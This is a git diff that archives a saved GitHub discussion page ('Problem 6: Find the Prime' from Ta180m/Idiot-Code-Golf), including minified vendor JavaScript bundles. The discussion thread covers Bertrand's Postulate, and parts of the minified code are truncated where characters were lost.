w(e){const t=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){E(this,t)},a(e)}n(w,"controller")},70112:(M,C,$)=>{$.d(C,{U2:()=>A,Ue:()=>c,Zh:()=>E});function _(a){const l="==".slice(0,(4-a.length%4)%4),w=a.replace(/-/g,"+").replace(/_/g,"/")+l,e=atob(w),t=new ArrayBuffer(e.length),o=new Uint8Array(t);for(let u=0;um(a,l[0],e));if(l instanceof Object){const e={};for(const[t,o]of Object.entries(l)){if(o.derive){const u=o.derive(w);u!==void 0&&(w[t]=u)}if(!(t in w)){if(o.required)throw new Error(`Missing key: ${t}`);continue}if(w[t]==null){e[t]=null;continue}e[t]=m(a,o.schema,w[t])}return e}}n(m,"convert");function v(a,l){return{required:!0,schema:a,derive:l}}n(v,"derived");function d(a){return{required:!0,schema:a}}n(d,"required");function f(a){return{required:!1,schema:a}}n(f,"optional");var S={type:d(i),id:d(g),transports:f(i)},T={appid:f(i),appidExclude:f(i),credProps:f(i)},q={appid:f(i),appidExclude:f(i),credProps:f(i)},N={publicKey:d({rp:d(i),user:d({id:d(g),name:d(i),displayName:d(i)}),challenge:d(g),pubKeyCredParams:d(i),timeout:f(i),excludeCredentials:f([S]),authenticatorSelection:f(i),attestation:f(i),extensions:f(T)}),signal:f(i)},O={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),attestationObject:d(g),transports:v(i,a=>{var l;return((l=a.getTransports)==null?void 0:l.call(a))||[]})}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},L={mediation:f(i),publicKey:d({challenge:d(g),timeout:f(i),rpId:f(i),allowCredentials:f([S]),userVerification:f(i),extensions:f(T)}),signal:f(i)},P={type:d(i),id:d(i),rawId:d(g),response:d({clientDataJSON:d(g),authenticatorData:d(g),signature:d(g),userHandle:d(g)}),clientExtensionResults:v(q,a=>a.getClientExtensionResults())},R={credentialCreationOptions:N,publicKeyCredentialWithAttestation:O,credentialRequestOptions:L,publicKeyCredentialWithAssertion:P};function s(a){return m(_,N,a)}n(s,"createRequestFromJSON");function r(a){return m(x,O,a)}n(r,"createResponseToJSON");async function c(a){const l=await navigator.credentials.create(s(a));return r(l)}n(c,"create");function b(a){return m(_,L,a)}n(b,"getRequestFromJSON");function h(a){return m(x,P,a)}n(h,"getResponseToJSON");async function A(a){const l=await navigator.credentials.get(b(a));return h(l)}n(A,"get");function E(){return!!(navigator.credentials&&navigator.credentials.create&&navigator.credentials.get&&window.PublicKeyCredential)}n(E,"supported")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-74ee89f793c0.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js new file mode 100644 index 0000000..1f9e6eb --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js @@ -0,0 +1,15 @@ +"use strict";(()=>{var R=Object.defineProperty;var c=(F,T)=>R(F,"name",{value:T,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b"],{65935:(F,T,E)=>{E.d(T,{AC:()=>b,rK:()=>p,uT:()=>h});function x(o,e){const n=o.createElement("template");return n.innerHTML=e,o.importNode(n.content,!0)}c(x,"parseHTML");function v(o){const e=new URLSearchParams,n=new FormData(o).entries();for(const[i,a]of[...n])e.append(i,a.toString());return e.toString()}c(v,"serialize");class m extends Error{constructor(e,n){super(e);this.response=n}}c(m,"ErrorWithResponse");function _(){let o,e;return[new Promise(function(i,a){o=i,e=a}),o,e]}c(_,"makeDeferred");let f;const g=[],y=[];function h(o){g.push(o)}c(h,"afterRemote");function p(o){y.push(o)}c(p,"beforeRemote");function b(o,e){f||(f=new Map,document.addEventListener("submit",S));const n=f.get(o)||[];f.set(o,[...n,e])}c(b,"remoteForm");function k(o,e){if(f){const n=f.get(o)||[];f.set(o,n.filter(i=>i!==e))}}c(k,"remoteUninstall");function w(o){const e=[];for(const n of f.keys())if(o.matches(n)){const i=f.get(n)||[];e.push(...i)}return e}c(w,"getMatches");function S(o){if(!(o.target instanceof HTMLFormElement)||o.defaultPrevented)return;const e=o.target,n=w(e);if(n.length===0)return;const i=L(e),[a,l,s]=_();o.preventDefault(),P(n,e,i,a).then(async t=>{if(t){for(const r of y)await r(e);N(i).then(l,s).catch(()=>{}).then(()=>{for(const r of g)r(e)})}else e.submit()},t=>{e.submit(),setTimeout(()=>{throw t})})}c(S,"handleSubmit");async function P(o,e,n,i){let a=!1;for(const l of o){const[s,t]=_(),r=c(()=>(a=!0,t(),i),"kick"),u={text:r,json:()=>(n.headers.set("Accept","application/json"),r()),html:()=>(n.headers.set("Accept","text/html"),r())};await Promise.race([s,l(e,u,n)])}return a}c(P,"processHandlers");function L(o){const e={method:o.method||"GET",url:o.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(e.method.toUpperCase()==="GET"){const n=v(o);n&&(e.url+=(~e.url.indexOf("?")?"&":"?")+n)}else e.body=new FormData(o);return e}c(L,"buildRequest");async function N(o){const e=await window.fetch(o.url,{method:o.method,body:o.body!==null?o.body:void 0,headers:o.headers,credentials:"same-origin"}),n={url:e.url,status:e.status,statusText:e.statusText,headers:e.headers,text:"",get json(){const a=this,l=JSON.parse(a.text);return delete a.json,a.json=l,a.json},get html(){const a=this;return delete a.html,a.html=x(document,a.text),a.html}},i=await e.text();if(n.text=i,e.ok)return n;throw new m("request failed",n)}c(N,"remoteSubmit")},41311:(F,T,E)=>{E.d(T,{C:()=>f});var x=E(28356),v=E(36162);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,_=2147483647,f=(0,v.XM)((...g)=>y=>{let h=m.get(y);h===void 0&&(h={lastRenderedIndex:_,values:[]},m.set(y,h));const p=h.values;let b=p.length;h.values=g;for(let k=0;kh.lastRenderedIndex);k++){const w=g[k];if((0,x.pt)(w)||typeof w.then!="function"){y.setValue(w),h.lastRenderedIndex=k;break}k{const P=h.values.indexOf(w);P>-1&&P{E.d(T,{EL:()=>g,N9:()=>N,Tz:()=>o});class x{constructor(n){this.children=[],this.parent=n}delete(n){const i=this.children.indexOf(n);return i===-1?!1:(this.children=this.children.slice(0,i).concat(this.children.slice(i+1)),this.children.length===0&&this.parent.delete(this),!0)}add(n){return this.children.push(n),this}}c(x,"Leaf");class v{constructor(n){this.parent=null,this.children={},this.parent=n||null}get(n){return this.children[n]}insert(n){let i=this;for(let a=0;al.filter(s=>s!=="")).filter(l=>l.length>0)}c(f,"expandHotkeyToEdges");function g(e){const{ctrlKey:n,altKey:i,metaKey:a,key:l}=e,s=[],t=[n,i,a,h(e)];for(const[r,u]of t.entries())u&&s.push(y[r]);return y.includes(l)||s.push(l),s.join("+")}c(g,"hotkey");const y=["Control","Alt","Meta","Shift"];function h(e){const{shiftKey:n,code:i,key:a}=e;return n&&!(i.startsWith("Key")&&a.toUpperCase()===a)}c(h,"showShift");const p=new v,b=new WeakMap;let k=p,w=null,S=[];function P(){S=[],w=null,k=p}c(P,"resetTriePosition");function L(e){if(e.defaultPrevented||!(e.target instanceof Node))return;if(m(e.target)){const i=e.target;if(!i.id||!i.ownerDocument.querySelector(`[data-hotkey-scope="${i.id}"]`))return}w!=null&&window.clearTimeout(w),w=window.setTimeout(P,1500);const n=k.get(g(e));if(!n){P();return}if(S.push(g(e)),k=n,n instanceof x){const i=e.target;let a=!1,l;const s=m(i);for(let t=n.children.length-1;t>=0;t-=1){l=n.children[t];const r=l.getAttribute("data-hotkey-scope");if(!s&&!r||s&&i.id===r){a=!0;break}}l&&a&&(_(l,S),e.preventDefault()),P()}}c(L,"keyDownHandler");function N(e,n){Object.keys(p.children).length===0&&document.addEventListener("keydown",L);const a=f(n||e.getAttribute("data-hotkey")||"").map(l=>p.insert(l).add(e));b.set(e,a)}c(N,"install");function o(e){const n=b.get(e);if(n&&n.length)for(const i of n)i&&i.delete(e);Object.keys(p.children).length===0&&document.removeEventListener("keydown",L)}c(o,"uninstall")},15205:(F,T,E)=>{E.d(T,{Z:()=>v});function x(...m){return JSON.stringify(m,(_,f)=>typeof f=="object"?f:String(f))}c(x,"defaultHash");function v(m,_={}){const{hash:f=x,cache:g=new Map}=_;return function(...y){const h=f.apply(this,y);if(g.has(h))return g.get(h);let p=m.apply(this,y);return p instanceof Promise&&(p=p.catch(b=>{throw g.delete(h),b})),g.set(h,p),p}}c(v,"memoize")},69567:(F,T,E)=>{E.d(T,{sV:()=>g,GZ:()=>k,R:()=>l,AQ:()=>w,W_:()=>P,Al:()=>S,XK:()=>N});function*x(s){let t="",r=0,u=!1;for(let d=0;dtypeof u=="string"?u:u.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,r)}}}c(y,"AttributeValueSetter");var h=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},p=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},b;class k{constructor(t,r){this.expression=r,b.set(this,void 0),h(this,b,[t]),t.textContent=""}get value(){return p(this,b).map(t=>t.textContent).join("")}set value(t){this.replace(t)}get previousSibling(){return p(this,b)[0].previousSibling}get nextSibling(){return p(this,b)[p(this,b).length-1].nextSibling}replace(...t){const r=t.map(u=>typeof u=="string"?new Text(u):u);r.length||r.push(new Text("")),p(this,b)[0].before(...r);for(const u of p(this,b))u.remove();h(this,b,r)}}c(k,"NodeTemplatePart"),b=new WeakMap;function w(s){return{createCallback(t,r,u){this.processCallback(t,r,u)},processCallback(t,r,u){var d;if(!(typeof u!="object"||!u)){for(const C of r)if(C.expression in u){const j=(d=u[C.expression])!==null&&d!==void 0?d:"";s(C,j)}}}}}c(w,"createProcessor");function S(s,t){s.value=String(t)}c(S,"processPropertyIdentity");function P(s,t){return typeof t=="boolean"&&s instanceof g&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=t,!0):!1}c(P,"processBooleanAttribute");const L=w(S),N=w((s,t)=>{P(s,t)||S(s,t)});var o=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},e=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},n,i;function*a(s){const t=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let r;for(;r=t.nextNode();)if(r instanceof Element&&r.hasAttributes())for(let u=0;u{var O=Object.defineProperty;var p=(M,N)=>O(M,"name",{value:N,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_lit-html_lit-html_js"],{13695:(M,N,l)=>{l.d(N,{X:()=>v,w:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=new WeakMap,v=p(_=>(...c)=>{const h=_(...c);return a.set(h,!0),h},"directive"),u=p(_=>typeof _=="function"&&a.has(_),"isDirective")},66921:(M,N,l)=>{l.d(N,{V:()=>v,eC:()=>a,r4:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=window.customElements!==void 0&&window.customElements.polyfillWrapFlushCallback!==void 0,v=p((_,c,h=null,r=null)=>{for(;c!==h;){const d=c.nextSibling;_.insertBefore(c,r),c=d}},"reparentNodes"),u=p((_,c,h=null)=>{for(;c!==h;){const r=c.nextSibling;_.removeChild(c),c=r}},"removeNodes")},31301:(M,N,l)=>{l.d(N,{J:()=>a,L:()=>v});/** + * @license + * Copyright (c) 2018 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a={},v={}},28356:(M,N,l)=>{l.d(N,{JG:()=>x,K1:()=>E,QG:()=>f,_l:()=>g,m:()=>w,nt:()=>m,pt:()=>r});var a=l(13695),v=l(66921),u=l(31301),_=l(3122),c=l(89823),h=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const r=p(s=>s===null||!(typeof s=="object"||typeof s=="function"),"isPrimitive"),d=p(s=>Array.isArray(s)||!!(s&&s[Symbol.iterator]),"isIterable");class f{constructor(t,n,e){this.dirty=!0,this.element=t,this.name=n,this.strings=e,this.parts=[];for(let i=0;ithis.handleEvent(i)}setValue(t){this.__pendingValue=t}commit(){for(;(0,a.w)(this.__pendingValue);){const V=this.__pendingValue;this.__pendingValue=u.J,V(this)}if(this.__pendingValue===u.J)return;const t=this.__pendingValue,n=this.value,e=t==null||n!=null&&(t.capture!==n.capture||t.once!==n.once||t.passive!==n.passive),i=t!=null&&(n==null||e);e&&this.element.removeEventListener(this.eventName,this.__boundHandleEvent,this.__options),i&&(this.__options=o(t),this.element.addEventListener(this.eventName,this.__boundHandleEvent,this.__options)),this.value=t,this.__pendingValue=u.J}handleEvent(t){typeof this.value=="function"?this.value.call(this.eventContext||this.element,t):this.value.handleEvent(t)}}p(E,"EventPart");const o=p(s=>s&&(C?{capture:s.capture,passive:s.passive,once:s.once}:s.capture),"getOptions")},3122:(M,N,l)=>{l.d(N,{R:()=>u});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class u{constructor(c,h,r){this.__parts=[],this.template=c,this.processor=h,this.options=r}update(c){let h=0;for(const r of this.__parts)r!==void 0&&r.setValue(c[h]),h++;for(const r of this.__parts)r!==void 0&&r.commit()}_clone(){const c=a.eC?this.template.element.content.cloneNode(!0):document.importNode(this.template.element.content,!0),h=[],r=this.template.parts,d=document.createTreeWalker(c,133,null,!1);let f=0,g=0,m,x=d.nextNode();for(;f{l.d(N,{j:()=>_});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const u=` ${v.Jw} `;class _{constructor(r,d,f,g){this.strings=r,this.values=d,this.type=f,this.processor=g}getHTML(){const r=this.strings.length-1;let d="",f=!1;for(let g=0;g-1||f)&&m.indexOf("-->",x+1)===-1;const w=v.W5.exec(m);w===null?d+=m+(f?u:v.N):d+=m.substr(0,w.index)+w[1]+w[2]+v.$E+w[3]+v.Jw}return d+=this.strings[r],d}getTemplateElement(){const r=document.createElement("template");return r.innerHTML=this.getHTML(),r}}p(_,"TemplateResult");class c extends null{getHTML(){return`${super.getHTML()}`}getTemplateElement(){const r=super.getTemplateElement(),d=r.content,f=d.firstChild;return d.removeChild(f),reparentNodes(d,f.firstChild),r}}p(c,"SVGTemplateResult")},60560:(M,N,l)=>{l.d(N,{$E:()=>_,IW:()=>d,Jw:()=>a,N:()=>v,W5:()=>f,YS:()=>c,pC:()=>r});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=`{{lit-${String(Math.random()).slice(2)}}}`,v=``,u=new RegExp(`${a}|${v}`),_="$lit$";class c{constructor(m,x){this.parts=[],this.element=x;const w=[],A=[],C=document.createTreeWalker(x.content,133,null,!1);let E=0,o=-1,s=0;const{strings:t,values:{length:n}}=m;for(;s0;){const y=t[s],I=f.exec(y)[2],L=I.toLowerCase()+_,b=e.getAttribute(L);e.removeAttribute(L);const P=b.split(u);this.parts.push({type:"attribute",index:o,name:I,strings:P}),s+=P.length-1}}e.tagName==="TEMPLATE"&&(A.push(e),C.currentNode=e.content)}else if(e.nodeType===3){const i=e.data;if(i.indexOf(a)>=0){const V=e.parentNode,T=i.split(u),y=T.length-1;for(let I=0;I{const x=g.length-m.length;return x>=0&&g.slice(x)===m},"endsWith"),r=p(g=>g.index!==-1,"isTemplatePartActive"),d=p(()=>document.createComment(""),"createMarker"),f=/([ \x09\x0a\x0c\x0d])([^\0-\x1F\x7F-\x9F "'>=/]+)([ \x09\x0a\x0c\x0d]*=[ \x09\x0a\x0c\x0d]*(?:[^ \x09\x0a\x0c\x0d"'`<>=]*|"[^"]*|'[^']*))$/},36162:(M,N,l)=>{l.d(N,{_l:()=>a._l,nt:()=>a.nt,IW:()=>d.IW,XM:()=>c.X,dy:()=>A,r4:()=>h.r4,sY:()=>x,V:()=>h.V});var a=l(28356);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class v{handleAttributeExpressions(o,s,t,n){const e=s[0];return e==="."?new a.m(o,s.slice(1),t).parts:e==="@"?[new a.K1(o,s.slice(1),n.eventContext)]:e==="?"?[new a.JG(o,s.slice(1),t)]:new a.QG(o,s,t).parts}handleTextExpression(o){return new a.nt(o)}}p(v,"DefaultTemplateProcessor");const u=new v;var _=l(89823),c=l(13695),h=l(66921),r=l(31301),d=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */function f(E){let o=g.get(E.type);o===void 0&&(o={stringsArray:new WeakMap,keyString:new Map},g.set(E.type,o));let s=o.stringsArray.get(E.strings);if(s!==void 0)return s;const t=E.strings.join(d.Jw);return s=o.keyString.get(t),s===void 0&&(s=new d.YS(E,E.getTemplateElement()),o.keyString.set(t,s)),o.stringsArray.set(E.strings,s),s}p(f,"templateFactory");const g=new Map;/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,x=p((E,o,s)=>{let t=m.get(o);t===void 0&&((0,h.r4)(o,o.firstChild),m.set(o,t=new a.nt(Object.assign({templateFactory:f},s))),t.appendInto(o)),t.setValue(E),t.commit()},"render");var w=l(3122);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */(window.litHtmlVersions||(window.litHtmlVersions=[])).push("1.1.2");const A=p((E,...o)=>new _.j(E,o,"html",u),"html"),C=p((E,...o)=>new SVGTemplateResult(E,o,"svg",defaultTemplateProcessor),"svg")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_lit-html_lit-html_js-8058f8562b63.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js new file mode 100644 index 0000000..f50a716 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var ae=Object.defineProperty;var s=(V,D)=>ae(V,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_selector-observer_dist_index_esm_js"],{64463:(V,D,B)=>{B.d(D,{N7:()=>re});var w=B(8439),M=null,T=null,R=[];function P(e,t){var n=[];function i(){var l=n;n=[],t(l)}s(i,"processBatchQueue");function r(){for(var l=arguments.length,c=Array(l),x=0;x{B.d(D,{Z:()=>w});function w(){if(!(this instanceof w))return new w;this.size=0,this.uid=0,this.selectors=[],this.indexes=Object.create(this.indexes),this.activeIndexes=[]}s(w,"SelectorSet");var M=window.document.documentElement,T=M.matches||M.webkitMatchesSelector||M.mozMatchesSelector||M.oMatchesSelector||M.msMatchesSelector;w.prototype.matchesSelector=function(a,u){return T.call(a,u)},w.prototype.querySelectorAll=function(a,u){return u.querySelectorAll(a)},w.prototype.indexes=[];var R=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"ID",selector:s(function(u){var o;if(o=u.match(R))return o[0].slice(1)},"matchIdSelector"),element:s(function(u){if(u.id)return[u.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"CLASS",selector:s(function(u){var o;if(o=u.match(P))return o[0].slice(1)},"matchClassSelector"),element:s(function(u){var o=u.className;if(o){if(typeof o=="string")return o.split(/\s/);if(typeof o=="object"&&"baseVal"in o)return o.baseVal.split(/\s/)}},"getElementClassNames")});var N=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"TAG",selector:s(function(u){var o;if(o=u.match(N))return o[0].toUpperCase()},"matchTagSelector"),element:s(function(u){return[u.nodeName.toUpperCase()]},"getElementTagName")}),w.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var L;typeof window.Map=="function"?L=window.Map:L=function(){function a(){this.map={}}return s(a,"Map"),a.prototype.get=function(u){return this.map[u+" "]},a.prototype.set=function(u,o){this.map[u+" "]=o},a}();var F=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function E(a,u){a=a.slice(0).concat(a.default);var o=a.length,d,f,p,m,y=u,h,g,v=[];do if(F.exec(""),(p=F.exec(y))&&(y=p[3],p[2]||!y)){for(d=0;d + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Problem 6: Find the Prime · Discussion #7 · Ta180m/Idiot-Code-Golf + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + + + + + + + + + + + + + +
    + +
    + + + + + + + +
    + + + +
    + + + + + + + + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + Ta180m  /   + Idiot-Code-Golf  /   + Discussions #7  /   + +
    +
    + + + +
    + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + +
    + + + + + + + + + + +
    + + +
    +
    +
    + + + + + + + + + + + +
    + +
    + +
    +
    + + + / + + Idiot-Code-Golf + + + Public +
    + +
    + +
      + +
    • +
      +
      +
      +
    • + + +
    • + +
      + + + + + Unwatch + + + + + 1 + + + + +
      +
      +

      Notifications

      + +
      + +
      +
      + + + + + + + + + + + +
      + + + + + Get push notifications on iOS or Android. + +
      +
      +
      +
      + + + + +
      +
      +
      + + + +
    • + +
    • + Fork + 0 + + +
    • + +
    • + + +
      +
      + + + +
      + + +
      + + + + +
      + +
      +
      + + + + + + + +
      + +
      +
      +
      +
      +
      +
    • + + + +
    + +
    + +
    +
    + + + + +
    + + + + +
    + + +
    + + + + + + + + + + +
    + + + + + + + + + + + + +
    + + +
    + +
    + +
    +
    + +
    +
    +
    +

    + + Problem 6: Find the Prime + + #7 +

    +
    + Unanswered +
    + + Ta180m + + + asked this question in + Q&A +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + Problem 6: Find the Prime + + #7 +
    +
    +
    + + +
    + on Apr 18, 2021 + · + 3 answers + · + 2 replies +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 18, 2021 + + +
    + + + Maintainer + + + +
    + +

    +
    +
    + + +
    +
    + + + + +
    + + + + + +
    +

    Did you know that between any positive number n and 2n inclusive, there is at least one prime number?

    +

    Given a number n, find a prime between n and 2n!

    +
    + + + +
    + + +
    +
    +
    + + + +
    +
    + +
    + + + +
    + + + +
    +
    +
    +
    + + + + + + + + + + + +

    Replies

    + +
    +
    +
    +
    + 3 suggested answers +
    + +
    + · +
    + +
    + 2 replies +
    +
    + + +
    + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + mpldr + +
    +
    + + + on Apr 19, 2021 + + +
    + + + Collaborator + + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    Question out of curiosity: how has this been proven If we can't see a pattern in primes?

    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 2 replies + +
    +
    + +
    + +
    +
    +
    +
    + +
    + +
    +
    @Ta180m
    + +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + + +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + Ta180m + + + + on Apr 19, 2021 + + +
    + + + Maintainer + + + + Author + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    This theorem, called Bertrand's Postulate, actually has a "short and elegant" proof. (I guess it's "short and elegant" compared to something like Fermat's Last Theorem which is over 100 pages long)

    +
    + +
    + +
    + + + + + + + +
    + +
    + +
    +
    +
    +
    + + +
    +
    + +
    +
    + +
    +
    +
    @mpldr
    + +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + + +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + mpldr + + + + on Apr 19, 2021 + + +
    + + + Collaborator + + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    I won't act as if I understand that. But I +accept this as "someone smarter said so and other smarter guys did not +find an error".

    +
    + +
    + +
    + + + + + + + +
    + +
    + +
    +
    +
    +
    + + +
    +
    + +
    +
    + +
    + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
